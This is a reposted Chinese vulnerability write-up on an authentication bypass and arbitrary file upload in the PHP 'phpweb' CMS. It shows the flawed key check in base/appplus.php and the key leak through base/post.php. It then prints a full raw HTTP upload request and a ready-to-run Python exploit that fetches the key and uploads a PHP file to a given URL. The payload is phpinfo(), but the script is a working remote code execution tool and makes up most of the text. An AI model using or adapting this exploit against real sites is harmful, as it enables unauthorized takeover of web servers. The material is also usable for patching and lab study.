测试代码
一、环境搭建
宝塔Windows 6.5.0 +Nginx 1.17 + PHP 5.2 (PS:注意5.2最稳 其他版本可能报错)
安装成功之后。分析代码
安装成功之后。分析代码
首先找到
base/appplus.php

主要代码如下:
//密钥校验
$k=md5(strrev($dbUser.$dbPass));
$h=$_SERVER["HTTP_REFERER"];
$t=$_POST["t"];
$m=$_POST["m"];
$act=$_POST["act"];
$path=$_POST["path"];
$md5=md5($k.$t);
if($m!=$md5){
echo "ERROR: 安全性校验错误";
exit;
}关键点在于
$k=md5(strrev($dbUser.$dbPass));

在同级搜索中,发现POST.php 会返回$k=md5(strrev($dbUser.$dbPass));
那么就是post base/post.php 参数传递一个act 如下:

那么数据包如下。发送

POST /base/appplus.php HTTP/1.1 Host: 192.168.1.210 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------191691572411478 Content-Length: 746 Connection: close Cookie: CODEIMG=325eaeac5bef34937cfdc1bd73034d17 Upgrade-Insecure-Requests: 1 -----------------------------191691572411478 Content-Disposition: form-data; name="act" upload -----------------------------191691572411478 Content-Disposition: form-data; name="m" 59f9fae38f9e6ba22c2816e3d17588d4 -----------------------------191691572411478 Content-Disposition: form-data; name="t" 1579254040 -----------------------------191691572411478 Content-Disposition: form-data; name="path" upload -----------------------------191691572411478 Content-Disposition: form-data; name="r_size" 18 -----------------------------191691572411478 Content-Disposition: form-data; name="file"; filename="1111.php" Content-Type: application/octet-stream <?php phpinfo();?> -----------------------------191691572411478--
然后感觉这样太麻烦了。就写了一个python
# coding: utf-8
# author: print("")
import requests
import re
import os
def Md5(strings):
import hashlib
m = hashlib.md5()
m.update(strings.encode('utf-8'))
return m.hexdigest()
def get_key(uri):
try:
data=requests.post(url=uri,data={"act":"appcode"},timeout=10).text
k=re.findall('k=(.*)&',data)[0]
t=re.findall('t=(.*)',data)[0]
return {"md5":Md5(k+t),"t":t}
except:
print('连接服务器失败')
def send_shell():
data=open('1.php','w')
data.write('<?php phpinfo()?>')
data.close()
def upload():
send_shell()
get_key22 = get_key(uri)
files = {'file':open('1.php','rb')}
data={'act':'upload','m':get_key22['md5'],'t':get_key22['t'],"path":'upload','r_size':os.path.getsize('1.php')}
try:
r = requests.post(url=upload_url, files=files,data=data).text
print(r)
except:
print('连接服务器失败')
if __name__ == '__main__':
import sys
if not sys.argv[1]:exit('例如: python phpweb_rce.py http://127.0.0.1')
url=sys.argv[1]
uri = url + '/base/post.php'.replace('//', '/')
upload_url = url + '/base/appplus.php'.replace('//', '/')
upload()
执行的方式
python aaa.py http://192.168.1.210
文章转载:https://www.o2oxy.cn/2582.html

